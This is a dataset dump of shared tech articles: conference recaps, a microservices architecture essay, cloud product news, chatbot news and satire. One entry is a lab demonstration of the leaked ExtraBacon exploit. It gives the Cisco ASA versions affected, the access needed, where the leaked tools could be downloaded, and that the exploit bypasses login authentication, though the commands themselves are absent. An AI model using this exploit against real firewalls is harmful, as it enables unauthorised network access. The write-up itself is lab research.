value of assessing your existing app portfolio, and identifying where refactoring or replatforming can add value. Just lifting and shifting to a container orchestration platform doesn't actually improve things. At best, you've optimized the infrastructure, while ignoring the real challenge: improving the delivery pipeline. Same goes for configuration management, and other technologies that don't establish meaningful change. It takes a mix of cultural overhaul, management buy-in, and yes, technology. I didn't see anyone at the conference promising silver bullets. But at the same time, there were some concrete next steps for teams looking for accelerate their efforts. IaaS is definitely not a commodity (although pricing has stabilized ), but you're seeing the major three clouds working hard to own the services layer above the raw infrastructure. Gartner's just-released IaaS Magic Quadrant shows clear leadership by AWS, Microsoft, and Google, and not accidentally, all three sponsored SpringOne Platform. Google brought over 20 people to the conference, and still couldn't handle the swarms of people at their booth trying out Spring Boot! An integrated platform on top of leading clouds gives the best of all worlds. By the end of the year, you'll be able to consume Google data services natively on @ pivotalcf . @ jjhollywood to @ wattersjames #springone #s1p - Bridget Kromhout (@bridgetkromhout) August 03, 2016 Great infrastructure matters, but native services in the cloud are becoming the key differentiator for one over another. Want services to bridge on-premises and cloud apps? Azure is a strong choice. Need high performing data storage services? AWS is fantastic. Looking at next generation machine learning and data processing? Google is bleeding edge. At SpringOne Platform, I heard established companies-including Home Depot, the GAP, Merrill Corp-explain why the loved Pivotal Cloud Foundry, especially when it integrated with native services in their cloud of choice. The power of platforms, baby. I love, love that we're talking about the role of data in a microservices world. It's one thing to design and deliver stateless web apps, and scale the heck out of them. We've got lots of patterns for that. But what about the data? Are there ways to deploy and manage data platforms with extreme automation? How about scaling real-time and batch data processing? There were tons of sessions about data at SpringOne Platform, and Pivotal's Data team wrote up some awesome summaries throughout the week: It's almost always about data, and I think it's great that we had PACKED sessions full of people working through these emerging ideas. I'm very proud of what our customers are doing with the help of Pivotal people and technologies. While we tried to make sure we didn't beat people over the head with ""Pivotal is GREAT"" stuff, it became clear that the ""Pivotal Way"" is working and transforming the how the largest companies in the world build software. i've never been to a major vendor conference that had anything like this level of customer commitment to developer experience. #sp1 @ pivotal - Band Gif (@monkchips) August 03, 2016 The Gap talked about going from weeks to deploy code changes, to mere minutes. That has a material impact on how they interact with their customers. And for many, this isn't about net new applications. Almost everyone who presented talked about how to approach existing investments and find new value. It's fun to be on this journey to simplify the future. Want to help make a difference at Pivotal and drive the future of software? We're always hiring . Categories: AWS , Cloud , Cloud Foundry , DevOps , Microservices , Microsoft Azure , Pivotal",en
1471366025,CONTENT SHARED,-5850390492300666299,7645894863578715801,6107910099552275355,,,,HTML,https://medium.com/@skamille/microservices-real-architectural-patterns-68bd83bbb6cd,Microservices: Real Architectural Patterns,"Microservices: Real Architectural Patterns A dissection of our favorite folk architecture Introduction I'm fascinated by the lore and mystery behind microservices. As a concept, microservices feels like one of the most interesting folk architectures of the modern era. It's useful enough to be applied widely across different usage patterns and also vague enough to mean many different things. I've been struggling for a while with understanding what people really mean when they discuss ""microservices."" Despite deploying what I would consider to be a version of that pattern in my last gig, it's quite clear to me that the architecture we used is not the same as the pattern that all other companies use. Recently I finally interrogated someone who has deployed the pattern in a very different way than I have, and so I decided it would be illustrative to compare and contrast the circumstances of our architectures for those in the larger technical audience. This article is going to have two examples. The first is the rough way ""microservices"" was deployed in my last gig, and why I made the decisions I made in the architecture. The second is an example of an architecture that is much closer to the ""beautiful dream"" microservices as I have heard it preached, for architectures that are stream-focused. Microservices Basics I think that microservices as an architecture evolved due to a few factors. A bunch of startups in the late 2000s started on monoliths like rails, scaled their business and team quickly, and hit the wall on what could reasonably be done in that monolith The cloud made it significantly easier to get access to a new server instance to run software We all got much more comfortable with the idea that we were dealing with distributed systems and in particular got comfortable making network calls as part of our systems This combination of factors - scaling woes, easy access to new hardware, distributed systems and network access - played a huge part in what I might call ""microservices for CRUD."" If you have managed to scale a company to a certain level of success on a monolith but you are having trouble scaling the technology and/or the engineering team, breaking the monolith into a services-style architecture makes sense. This is a situation I encountered first-hand. The arguments for microservices here look something like: Services allow for independent axes of scaling. If you have a part of the system with higher load or capacity requirements than other parts, you can scale to meet its needs. This is certainly doable in a monolith, but somewhat more complicated to reason about. Services allow for independent failure domains, to a more limited extent. Insofar as parts of your system are independently operable, you may want to allow for partial availability by splitting them out into services. For example, in a commerce app, if you can serve the checkout flow even when the product search flow is down, that might be considered a good thing. This is much more complicated in practice than it is in theory, and people make many silly claims about microservices that imply that any overlap in services means that they are not valuable. Independent failure domains are sometimes more of a ""nice to have"" than a necessity, and making the architecture truly account for this is not easy. Services allow for teams to work independently on parts of the system. Again, you can do this in a monolith. I have done this in a monolith. But the challenge with monolith (and a related challenge with services in a monorepo (single source repository)) is that humans struggle to tangibly understand domains that are theoretically separate when they are presented as colocated by the source code. If I can see all of the code and it all compiles together and feels like a single thing, my tendency is to want to use it as a single thing. Grab code from here to use there, grab data from there to use here, etc. A few more notes. ""Monolith"" and ""monorepo"" often get tangled up when talking about this world. A monolithic application is one where you have a set of code that compiles into a single main server artifact (possibly with some additional client artifacts produced). You can use configuration to make monoliths do almost anything you can imagine, including all of the services-type things above, but the image produced tends to include most if not all of the code in the repository. This does get fuzzy because sometimes teams evolve their monoliths to compile to a couple of specialized server artifacts via a combination of build tooling and configuration. I would generally still call this a monolithic architecture. Monorepo, or monolith repository, is the model where you have a single repository that holds all of the code for any system you are actively changing (so, possibly excluding the source code for your OSS/external dependencies). The repository itself contains source code that accounts for multiple artifacts that are run as separate applications, and which can be compiled/packaged and tested separately without using the entire repository. Often this is used to enable certain shared libraries to change across all of the services that use those libraries, so that developers who support shared libraries can more easily evolve them instead of having to wait for each dependent team to adopt the newest version. The biggest downside of the monorepo model is that there's not much OSS tooling that supports this, because most OSS is not built this way, so large investments in tooling are usually needed to make this work. Microservices for CRUD-based Applications Before I get to how to evolve a CRUD monolith to microservices, let me further articulate the architecture needed to build your traditional mid-sized CRUD platform. This type of platform covers a use case that is pretty well-trod, that of ""transactions"" and ""metadata."" Transactions: User does an action that you want to persist, consistency of data is very valuable. The ""Create, Update, Delete"" of CRUD. Much less frequent than the ""Read"" actions of CRUD. Metadata: Information that describes things to the users, but is usually only modified by internal content creators, or rarely by external users (reviews, for example). Changes less frequently, often highly cacheable. Even more, can often tolerate a degree of temporary inconsistency (showing stale data). Are there more things that CRUD-heavy companies want to do, especially in the analytical space here? Sure. You may want to adjust results frequently based on user behavior as the user is browsing the site, and other personalization actions. However, that is a hard thing to do real-time and you don't always have the volume of data you need from the user to actually do that well, so it isn't generally the first-order concern of the system. The process for moving off of a monolith in this type of architecture is relatively straightforward: Identify independent entities. This paper by Pat Helland, ""Life Beyond Txns"" , has some useful and interesting definitions there. It's better to go a little bit too big early than to go too small and end up having to implement significant distributed transactions. You probably want data-owning services for the major business objects(products, users, etc), and then sets of integration services that implement aggregations and logic over those objects. Pull out the logic into services entity by entity. Try not to change the data model as much as possible in this process. Redirect the monolith to call APIs in the new services as functionality is moved. That's basically it. You pull pieces out until you have enough to cover a particular set of user functionality in data and integration terms, then you can start to evolve that part of the user functionality to do new things in the services. These services are not classic SOA, but nor are they teeny-tiny microservices. The services that own the data may be fairly sophisticated. You may not want to have too many services because you want to be able to satisfy requests from the user without having to make a ton of network hops, and ideally, without needing to do distributed transactions. You are probably not making new services every day, and especially if you have a sub-50-person engineering team and a long product roadmap, you may not want to invest extensive engineering time into complex orchestration and tooling that enables people to dynamically add new services at the click of a button (nb: the products to support this are getting better all the time, and so at some point this will be worth doing even for that smaller team. It is unclear to me whether that time is now or not.) . The equation to apply for determining how much to invest in tooling is pretty straightforward: how much time does it cost devs to have a less automated process for adding a new service, vs how long does it take to implement and maintain the automation for doing it easily, and how many new services do you expect to want to deploy over time? You're making a guess. Obviously, if you think there is value to enabling people to spin up tiny services fast and frequently, it is better to invest time and tooling into this. As with all engineering process optimization decisions, it's not a matter of getting it perfectly right, but rather, of deciding for the foreseeable future and periodically re-evaluating. There are many microservices ""must-haves"" in this instance that I have found to be anything but. I mentioned extensive orchestration above. Dynamic service discovery is also not needed if you are not automatically spinning up services or moving services around frequently (load balancers are pretty nice for doing this at a basic level). Allowing teams to choose their ideal language, framework, and data store per service is also certainly not a must-have and in fact it's likely to be far more of a headache than a boon to your team. Having independent data stores for the services is also not a must-have, although it does mean that you will have a high-risk SPOF on the shared database. As I was writing this piece I discovered a section of some writing on microservices from 2015: Create a Separate Data Store for Each Microservice Do not use the the same back-end data store across microservices. ... Moreover, with a single data store it's too easy for microservices written by different teams to share database structures, perhaps in the name of reducing duplication of work. You end up with the situation where if one team updates a database structure, other services that also use that structure have to be changed too. This is true, but for smaller teams you can prevent sharing of database structures by convention (process and code review, and automated testing and checking for such access if it is a huge worry). When you carefully define the data-owner services, it's less likely this will happen. And the alternative is the next paragraph: Breaking apart the data can make data management more complicated, because the separate storage systems can more easily get out sync or become inconsistent, and foreign keys can change unexpectedly. You need to add a tool that performs master data management (MDM) by operating in the background to find and fix inconsistencies. For example, it might examine every database that stores subscriber IDs, to verify that the same IDs exist in all of them (there aren't missing or extra IDs in any one database). You can write your own tool or buy one. Many commercial relational database management systems (RDBMSs) do these kinds of checks, but they usually impose too many requirements for coupling, and so don't scale.( original ) This paragraph probably leads to sighs of exhaustion from anyone with experience doing data reconciliation. It's due to this overhead that I encourage those of you in smaller organizations to at least evaluate a convention-based approach before deciding to use entirely independent and individual data stores. This is a decision you can delay as needed. This version of the microservices architecture is very compelling for the scaled CRUD world because it lets you do a rewrite piece by piece. You can do the whole system, or you can simply take out pieces that are most sensitive to scaling. You proactively engage with many of the bits of distributed systems complexity by thinking carefully about the data and where transactions on that data will be needed. You probably don't need a ton of fancy data pipelines floating around. You know where the data will be modified. Do you have to go to microservices to scale this? Probably not, but that doesn't mean using microservices to scale such systems is a bad idea. However, going extreme with the microservices model may be a bad idea, because you really don't want to slice your data up in a way that ends up in distributed transaction land. Microservices For Data Stream Processing Now, let's talk about a very different use case. This use case is not your classic CRUD application, thick with business rules around transactionally-updated objects. Instead, this use case has a large pipeline of data. It has small bits of data flowing into it from many different sources, a very large volume of many bits of data. This large volume of input data sources also has many different services that will consume it, modify it, and pass it along for further processing. The major concern of this application is ingesting large quantities of ever-changing data, processing it in various ways, and showing a view of it to customers. CRUD concerns are secondary to the larger concerns of keeping up with the data stream and recalculating information based on what is happening on that stream. Let's take a metrics-aggregating SaaS application, for example. This application has customers all over the world with various applications, services, and machines that are reporting out metrics to the aggregator. These customers only need to see their data, although the combined total of data for any one customer may be very large. Our aggregator needs to consume these metrics and send them off to the application that is going to show them to the customer. The customer-facing application may be operating on a combination of incoming metrics in real-time plus historical data that comes from cache or a backing storage system. A large part of the value of the data is in the moving-window of what is happening right now/recently. This architecture from the start has considerations of volume that even our scaled CRUD world may not care about for a very, very long time. Additionally, the data itself is mostly a stream of updates over time. The notion of the ""stateful"" data that is transactionally updated is minimal, the most useful data is more like a timeseries or log of events. The transactional data, say, stored user views and user configuration, may be more like the ""metadata"" of our CRUD application in the first example, infrequently changed compared to the updates coming in from the stream. The majority of developer time is most likely spent not in dealing with these transactional changes but rather in managing the streams of inputs, providing new types of inputs, applying new calculations to the stream of inputs, and changing the calculations. In this example, you can imagine a service that wants to run an experiment by doing a different calculation across a particular element on the stream. Instead of modifying the existing code, the experimental service listens to the data stream at the same point as the existing calculation, provides a new calculation value, and pushes that calculation value back into the data pipeline on a different channel. At some point an experiment service pulls this data out for the customers who are assigned to the experimental treatment and shows the results of that calculation instead of the standard calculation. In all of these places you need a record of what happened in order to do analysis of experiment success and debugging, but that record does not need to be strongly, transactionally related to the record of other events in the system at this time, even across related users. In this example, it may very well be much more effective to spin up new services as needed, in order to run quick experiments, rather than changing existing services. Especially in cases where the service can do this without needing to worry about coordinating the data consumption or production with any existing service. This is the world of what I would like to call ""stream-centric microservices."" If there is enormous value to your business to manage real-time data streams, and you are going to have a lot of developers consuming those streams by creating new services to listen to them and produce results, then you absolutely must be willing to commit to the investment in tooling to make the process of creating services and putting them into production as easy as possible. You will probably use this for all of your services over time, once you have it, but realize that the clear value is that you have dynamic data that can be processed and manipulated and experimented on independently. Cron Jobs as Microservices I'd be remiss if I didn't mention this pattern. When it becomes very easy to make anything a microservice, everything becomes a microservice, including things we would traditionally run as cron jobs. But cron jobs are a nice concept, and not everything has to be a ""service."" You can use CloudWatch Events from AWS for this purpose, or scheduled Lambda functions. Use Gearman, a queue and async job runner, to schedule cron jobs. Remember your cron jobs need to be idempotent (can be run twice on the same input without changing the outcome). If you have an easy way to spin up services and it's easy to create tiny services that are basically cron jobs, no problem, but cron jobs in and of themselves are not a great reason to create a large, orchestrated services environment. Conclusion I hope that this has been a useful breakout across a few axes of the wild world of microservices. Going through the thought experiment was very useful for me, personally. It helped me understand how what seems obvious to people at one extreme, say those who spend most of their time focused on stream processing, doesn't make as much sense for people who are more focused on the world of CRUD application scaling.",en
1471374783,CONTENT SHARED,-7165716941095296287,-1032019229384696495,880025729283447629,,,,HTML,https://cloudplatform.googleblog.com/2016/08/why-Google-Cloud-Platform-is-ready-for-your-enterprise-database-workloads.html,Advancing enterprise database workloads on Google Cloud Platform,"We are committed to making Google Cloud Platform the best public cloud for your database workloads. From our managed database services to self-managed versions of your favorite relational or NoSQL database, we want enterprises with databases of all sizes and types to experience the best price-performance with the least amount of friction. Today, we're excited to announce that all of our database storage products are generally available and covered by corresponding Service Level Agreements (SLAs). We're also releasing new performance and security support for Google Compute Engine . Whether you're running a WordPress application with a Cloud SQL backend or building a petabyte-scale monitoring system, Cloud Platform is secure, reliable and able to store databases of all types. Cloud SQL, Cloud Bigtable and Cloud Datastore are now generally available Cloud SQL Second Generation, our fully-managed database service offering easy-to-use MySQL instances, has completed a successful beta and is now generally available. Since beta, we've added a number of enterprise features such as support for MySQL 5.7 , point-in-time-recovery (PITR), automatic storage re-sizing and setting up failover replicas with a single click. Performance is key to enterprise database workloads, and Cloud SQL is delivering industry-leading throughput. Cloud Bigtable is our scalable, fully-managed NoSQL wide-column database service with Apache HBase client compatibility, and is now generally available. Since beta, many of our customers such as Spotify, Energyworx and FIS (formerly Sungard) have built scalable applications on top of Cloud Bigtable for workloads such as monitoring, financial and geospatial data analysis. Cloud Datastore , our scalable, fully-managed NoSQL document database serves 15 trillion requests a month, and its v1 API for applications outside of Google App Engine has reached general availability. The Cloud Datastore SLA of 99.95% monthly uptime demonstrates high confidence in the scalability and availability of this cross-region, replicated service for your toughest web and mobile workloads. Customers like Snapchat, Workiva and Khan Academy have built amazing web and mobile applications with Cloud Datastore. Improved performance, security and platform support for databases For enterprises looking to manage their own databases on Google Compute Engine (GCE), we're also offering the following improvements: Microsoft SQL Server images available on Google Compute Engine - Our top enterprise customers emphasize the importance of continuity for their mission-critical applications. The unique strengths of Google Compute Engine make it the best environment to run Microsoft SQL Server featuring images with built-in licenses (in beta), as well as the ability to bring your existing application licenses . Stay tuned for a post covering the details of running SQL Server and other key Windows workloads on Google Cloud Platform. Increased IOPS for Persistent Disk volumes - Database workloads are dependent on great block storage performance, so we're increasing the maximum read and write IOPS for SSD-backed Persistent Disk volumes from 15,000 to 25,000 at no additional cost, servicing the needs of the most demanding databases. This continues Google's history of delivering greater price-performance over time with no action on the part of our customers. Custom encryption for Google Cloud Storage - When you need to store your database backups, you now have the added option of using customer-supplied encryption keys (CSEK). This feature allows Cloud Storage to be a zero-knowledge system without access to the keys and is now generally available. Low-latency for Google Cloud Storage Nearline storage - If you want a cost-effective way to store your database backups, Google Cloud Storage Nearline offers object storage at costs less than tape. Prior to today, retrieving data from Nearline incurred 3 to 5 seconds of latency per object. We've been continuously improving Nearline performance, and now it enables access times and throughput similar to Standard class objects. These faster access times and throughput give customers the ability to leverage big data tools such as Google BigQuery to run federated queries across your stored data. Today marks a major milestone in our tremendous momentum and commitment to making Google Cloud Platform the best public cloud for your enterprise database workloads. We look forward to the journey ahead and helping enterprises of all sizes be successful with Cloud Platform.",en
1471431177,CONTENT SHARED,-5649504870272917833,2682799999279860984,-5776940196792685042,,,,HTML,https://xorcatt.wordpress.com/2016/08/16/equationgroup-tool-leak-extrabacon-demo/,EquationGroup Tool Leak - ExtraBacon Demo,"Hi there, You may have heard that recently (15/08/2016) a group known as Shadow Brokers released what are said to be a bunch of exploits and tools written and used by the NSA. Two tar were released, one with the password of ""theequationgroup"", named ""eqgrp-free-file.tar.xz.gpg"". The other is named ""eqgrp-auction-file.tar.xz.gpg"", and according to the post where Shadow Brokers broke the news (now removed, but cached here ), they will release the key for this file, which supposedly contains juicier content, to the person who bids the most in their bitcoin auction, which ends at a time of Shadow Brokers' choosing. The files are currently still available for download from this MEGA link , although I don't know how long it will stay alive, as it was also hosted on GitHub, who tore it down shortly after it being posted. The exploits appear to be targeting firewalls , particularly Cisco PIX/ASA, Juniper Netscreen, Fortigate, and more. Seeing that there is an exploit for the Cisco ASA, I thought I would give it a shot in my CCNA Security ASA lab! The requirements for the ExtraBacon exploit are that you have SNMP read access to the firewall, as well as access to either telnet or SSH. The ASA must be running 8.x, up to 8.4(4), and is said to have the possibility to crash the firewall if something goes wrong. Once the exploit is successful, the attacker will be able to SSH to or telnet to (depending on what protocol is setup on the FW) without needing to enter credentials. If an enable password is set, this will still need to be a barrier for managing the firewall, as the exploit does not appear to disable it. The command to execute the authentication disabling payload is: Which gives the following output: And if everything goes well (which it did for me!): You can get on the ASA without entering a valid username or password! As noted above, the enable password still appears to be a requirement once this exploit has been run. In order to re-enable the password checks, you run the following: To get the following output: Which re-enables password checking on the ASA, and which did not have any harmful impact on my lab ASA. Nothing crashed, traffic kept flowing, everything was happy. I've also uploaded a PCAP of the SNMP messages that ExtraBacon used in my lab to disable and re-enable password checking. The first 4 packets were seen when disabling checking, and the last 2 were seen when re-enabling checking. There you go, NSA built firewall exploits that are easy to use! Let me know if you have played with any of the other exploits that came out of Shadow Brokers, or have any questions, I'm (almost) always available on twitter @XORcat .",en
1471436385,CONTENT SHARED,-9071883412530082330,7580644064067188685,2769739795173149632,,,,HTML,http://mashable.com/2016/08/17/dbs-bank-chatbot/,Singapore bank wants you to talk to its chatbot to get your banking done,"Image: Jerry Larson /Waco Tribune-Herald via AP SINGAPORE - Would you interact with your bank more if you could text it? Singaporean bank DBS announced on Wednesday it's going to have chatbots that you can text to do some of your common banking transactions. Unlike with the SMS service it and many other banks have in place, the bots are intended to process natural language conversations, so you don't have to memorise SMS codes or get the syntax perfect for things to work. This means instead of texting the bank something like ""BALANCE 1234"", you can ask: ""How much money do I have in account number 1234?"" DBS said it's relying on U.S. firm Kasisto to power the chatbots. Kasisto is a spin-off of SRI International, which created Apple's iPhone voice bot, Siri . It appears the chatbots will first come to SMS and later to chat messengers like WhatsApp and WeChat. Chatbots have had varied success simulating real conversation. Reactions range from annoyance with the bots' repetitive responses, to surprise that the machines have figured out what you really want. In April this year, Facebook CEO Mark Zuckerberg expressed the desire for businesses to build chatbots in Messenger, so they can serve customers on his platform. But for now, as most chatbots still rely on guessing what you want through keywords, the conversation may not be entirely intelligent just yet.",en
1471439018,CONTENT SHARED,-7986975759046428357,3302556033962996625,1057005043703552966,,,,HTML,https://circleci.com/blog/its-the-future/,It's The Future,"Hey, my boss said to talk to you - I hear you know a lot about web apps? -Yeah, I'm more of a distributed systems guy now. I'm just back from ContainerCamp and Gluecon and I'm going to Dockercon next week. Really excited about the way the industry is moving - making everything simpler and more reliable. It's the future! Cool. I'm just building a simple web app at the moment - a normal CRUD app using Rails, going to deploy to Heroku. Is that still the way to go? -Oh no. That's old school. Heroku is dead - no-one uses it anymore. You need to use Docker now. It's the future. Oh, OK. What's that? -Docker is this new way of doing containerization. It's like LXC, but it's also a packaging format, a distribution platform, and tools to make distributed systems really easy. Containeri.. - what now? What's LXE? -It's LXC. It's like chroot on steroids! What's cher-oot? -OK, look. Docker. Containerization. It's the future. It's like virtualization but faster and cheaper. Oh, so like Vagrant. -No, Vagrant is dead. Everything is going to be containerized now, it's the future. OK, so I don't need to know anything about virtualization? -No, you still need virtualization, because containers don't provide a full security story just yet. So if you want to run anything in a multi-tenant environment, you need to make sure you can't escape the sandbox. OK, I'm getting a little lost here. Let's back it up. So there's a thing like virtualization, called containers. And I can use this on Heroku? -Well, Heroku has some support for docker, but I told you: Heroku's dead. You want to run your containers on CoreOS. OK, what's that? -It's this cool Host OS you can use with Docker. Hell, you don't even need Docker, you can use rkt. Rocket? Right, Rocket. -No, it's called rkt now. Totally different. It's an alternative containerization format that isn't as bundled together as Docker is, and so it's more composable. Is that good? -Of course it's good. Composability is the future. OK, how do you use it? -I don't know. I don't think anyone uses it. Sigh. You were saying something about CoreOS? -Yeah, so it's a Host OS you use with Docker. What's a Host OS? -A Host OS runs all your containers. Runs my containers? -Yeah, you gotta have something run your containers. So you set up like an EC2 instance, you put CoreOS on it, then run the Docker daemon, and then you can deploy Docker images to it. Which part of that is the container? -All of it. Look, you take your app, write a Dockerfile, turn it into an image locally, then you can push that to any Docker host. Ah, like Heroku? -No, not Heroku. I told you. Heroku is dead. You run your own cloud now using Docker. What? -Yeah, it's real easy. Look up #gifee. Gify? -""Google's infrastructure for everyone else"". You take some off the shelf tools and stacks, using containers, and you can have the same infrastructure Google has. Why don't I just use Google's thing? -You think that's going to be around in 6 months? OK, doesn't someone else do hosting of this stuff? I really don't want to host my own stuff. -Well, Amazon has ECS, but you gotta write XML or some shit. What about something on OpenStack? Ew? Look I really don't want to host my own stuff. -No, it's really easy. You just set up a Kubernetes cluster. I need a cluster? -Kubernetes cluster. It'll manage the deployments of all your services. I only have one service. -What do you mean? You have an app right, so you gotta have at least 8-12 services? What? No, just one app. Service, whatever. Just one of them. -No, look into microservices. It's the future. It's how we do everything now. You take your monolithic app and you split it into like 12 services. One for each job you do. That seems excessive. -It's the only way to make sure it's reliable. So if your authentication service goes down... Authentication service? I was just going to use this gem I've used a few times before. -Great. Use the gem. Put it into it's own project. Put a RESTful API on it. Then your other services use that API, and gracefully handle failure and stuff. Put it in a container and continuously deliver that shit. OK, so now that I've got dozens of unmanageable services, now what? -Yeah, I was saying about Kubernetes. That let's you orchestrate all your services. Orchestrate them? -Yeah, so you've got these services and they have to be reliable so you need multiple copies of them. So Kubernetes makes sure that you have enough of them, and that they're distributed across multiple hosts in your fleet, so it's always available. I need a fleet now? -Yeah, for reliability. But Kubernetes manages it for you. And you know Kubernetes works cause Google built it and it runs on etcd. What's etcd? -It's an implementation of RAFT. OK, so what's Raft? -It's like Paxos. Christ, how deep down this fucking rabbit hole are we going? I just want to launch an app. Sigh. Fuck, OK, deep breaths. Jesus. OK, what's Paxos? -Paxos is like this really old distributed consensus protocol from the 70s that no-one understands or uses. Great, thanks for telling me about it then. And Raft is what? -Since no-one understands Paxos, this guy Diego... Oh, you know him? -No, he works at CoreOS. Anyway, Diego built Raft for his PhD thesis cause Paxos was too hard. Wicked smart dude. And then he wrote etcd as an implementation, and Aphyr said it wasn't shit. What's Aphyr? -Aphyr is that guy who wrote, 'Call Me Maybe.' You know, the distributed systems and BDSM guy? What? Did you say BDSM? -Yeah, BDSM. It's San Francisco. Everyone's into distributed systems and BDSM. Uh, OK. And he wrote that Katy Perry song? -No, he wrote a set of blog posts about how every database fails CAP. What's CAP? -The CAP theorem. It says that you can only have 2 out of 3 of Consistency, Availability and Partition tolerance. OK, and all DBs fail CAP? What does that even mean? -It means they're shit. Like Mongo. I thought Mongo was web scale? -No one else did. OK, so etcd? -Yeah, etcd is a distributed key-value store. Oh, like Redis. -No, nothing like Redis. etcd is distributed. Redis loses half its writes if the network partitions. OK, so it's a distributed key-value store. Why is this useful? -Kubernetes sets up a standard 5-node cluster using etcd as a message bus. It combines with a few of Kubernetes' own services to provide a pretty resilient orchestration system. 5 nodes? I have one app. How many machines am I gonna need with all this? -Well, you're going to have about 12 services, and of course you need a few redundant copies of each, a few load balancers, the etcd cluster, your database, and the kubernetes cluster. So that's like maybe 50 running containers. WTF! -No big deal! Containers are really efficient, so you should be able to distribute these across like 8 machines! Isn't that amazing? That's one way to put it. And with all this, I'll be able to simply deploy my app? -Sure. I mean, storage is still an open question with Docker and Kubernetes, and networking will take a bit of work, but you're basically there! I see. OK, I think I'm getting it. Thanks for explaining it. Let me just repeat it back to see if I've got it right. So I just need to split my simple CRUD app into 12 microservices, each with their own APIs which call each others' APIs but handle failure resiliently, put them into Docker containers, launch a fleet of 8 machines which are Docker hosts running CoreOS, ""orchestrate"" them using a small Kubernetes cluster running etcd, figure out the ""open questions"" of networking and storage, and then I continuously deliver multiple redundant copies of each microservice to my fleet. Is that it? -Yes! Isn't it glorious? I'm going back to Heroku. Want to use Docker and Continuously Deliver that shit? Check out CircleCI's Docker Support .",en
1471441177,CONTENT SHARED,7023677777837267720,2754566407772265068,-4075346766181180628,,,,HTML,https://medium.com/friendship-dot-js/i-peeked-into-my-node-modules-directory-and-you-wont-believe-what-happened-next-b89f63d21558,I Peeked Into My Node_Modules Directory And You Won't Believe What Happened Next - friendship .js,"I Peeked Into My Node_Modules Directory And You Won't Believe What Happened Next The left-pad fiasco shook the JavaScript community to its core when a rouge developer removed a popular module from npm, causing tens of projects to go dark. While code bloat continues to slow down our websites, drain our batteries, and make ""npm install"" slow for a few seconds, many developers like myself have decided to carefully audit the dependencies we bring into our projects. It's time we as a community stand up and say enough is enough, this community belongs to all of us, and not just a handful of JavaScript developers with great hair. Am I being paranoid? Maybe. Am I overestimating the hard work that goes into running an open source project? Most likely. Was I kicked off my ZogSports team because I ""make sports less fun for everyone involved""? Yes I decided to document my experiences in auditing my projects' dependencies, and I hope you find the following information useful. Express Behind the fastest, leanest JavaScript web framework is a heaping pile of dependencies, each with their own heaping pile of dependencies. In fact, a simple ""npm install express"" leads to 291 installed modules. Imagine if the apple you were eating for breakfast had 291 ingredients, or if the car you drove to work had 291 parts. You'd be worried, wouldn't you? Yet, for some reason, we're totally fine installing 291 individual modules just to power an enterprise-grade web server capable of handling thousands of incoming requests per second. So, what's in these dependencies anyway? Many are self-explanatory. ""range-parser"" parses ranges, ""escape-html"" escapes html, and ""negotiator"" makes great deals. However, one dependency - ""yummy"" - caught my attention. Interesting. Besides the normal ""index.js"" and ""package.json,"" we find a suspicious ""like-tweet.js."" I decided to take a closer look. Hold on a second. ""like-tweet.js,"" which runs whenever your application loads up the popular express library, makes a POST request to the twitter API. Why? I went ahead and loaded up this route myself. Sure enough, it's a tweet from Hot Pockets, and I had already favorited it. In fact, every time you download express, you favorite this exact tweet from Hot Pockets: introducing their new signature Hickory Ham sandwich pastries filled with real ham, real cheese, and a variety of chef-inspired sauces. What sort of monster brokered an advertising deal like this? I pass sensitive customer data through Express, and they go ahead and sell my twitter favorites to Hot Pockets? Needless to say, I likely won't be using express again. Ember Ember.js is a JavaScript web framework that specializes in quickly rendering todo lists. It packs quite the punch at only 112 kilobytes minified and gzipped, but what most people don't know is how much of that 112 kilobytes is spent on nothing. If we peek into Ember's dependencies, we see a library called ""Glimmer."" This library itself weighs in at 95KB (or 95% of Ember's codebase), but its purpose is not immediately clear ( it is not even mentioned on Ember's internet homepage! ). Additionally, I was unable to find any Google results for Glimmer that had to do with JavaScript . So what's going on here? Well, looking at Glimmer's dependencies, I found something quite curious: ""brittanica"" - a module using up 93KB (or 93%) of Glimmer's code size, must be doing all the heavy lifting. It itself consists of many dependencies - each one a module also named ""brittanica"", suffixed with a letter of the english alphabet (26 in total). Poking further, I found that each module consists of a single terms.json file. I opened a selection of these in Atom, then opened them in Sublime after Atom froze. The following gibberish appeared: 17,648 lines in total, describing various words and phrases that begin with the letter G. What on earth could possibly need these? Well, you're in for quite the surprise. Meet glimmer/help.js . In case the above code snippet is unclear, allow me to summarize: Ember prides itself on using Glimmer: a small, lightning fast rendering library. Glimmer brings in the entirety of Encyclopedia Brittanica, just to display the definition for the word ""glimmer"" in its help menu. Our oceans are dying at an alarming rate and we're all too busy staring at our phones playing Pokémon instead of having a conversation about it. Just absolute madness. Babel Babel is a compiler for next-generation JavaScript that beat its competition when someone at Facebook said they liked it better. Though loved by many, Babel has had its fair share of critics. Many complain about its confusing plugin system, overly-complicated config files, and unclear error messages. Curiously, not many seem to notice the incredible amount of dependencies Babel requires. Until now. I started my investigation by installing the ""babel-preset-es2015"" package. This package allows twenty-something web developers to write a newer, worse version of JavaScript that no one else on their team knows. I then counted the number of dependencies brought in by this package, followed by the total code size, using two commands I absolutely didn't just look up on StackOverflow. A whopping 90 dependencies totaling 17 megabytes. Let that soak in. If the entire recorded history of humanity could fit in a single megabyte, then Babel alone would consist of SEVENTEEN times the entire recorded history of humanity. Just so that we can avoid writing JavaScript. So I started wondering, what on earth is causing Babel's code to be so large? One of the biggest offenders, a package called ""babel-core"" was suspiciously large, coming in at 13 megabytes on its own. I opened up babel-core in vim, then turned off my computer because Ctrl-C wasn't exiting, then opened babel-core in Sublime Text 2. About 2 hours later, I successfully found the referenced ""/lib/api/node.js"", and discovered the crux of the issue. A coding slip-up so unforgivable that I nearly threw out my MacBook and swore off web development forever. It's true. Each installation of Babel includes a picture of Guy Fieri, and there is nothing you can do about it. I have no idea if this picture was supposed to be stripped out before pushing to npm, or how this mistake passed code review. Either way, it's there, and it's taking up precious space on millions and millions of 15"" Retina MacBook Pro hard drives across the world. Conclusino To be clear, I don't think that extra dependencies are a sign of the end of the world. I just think it's important that we as a community start value the work of maintaining and cleaning up code as much as we value cool features and great project logos. We can do better. Dead code takes up space, eats up bandwidth, and can even kill your startup. I encourage you to take a look inside your node_modules/ directory next time you have a couple free hours and a computer with at least 16 gigabytes of RAM. The results may just surprise you.",en
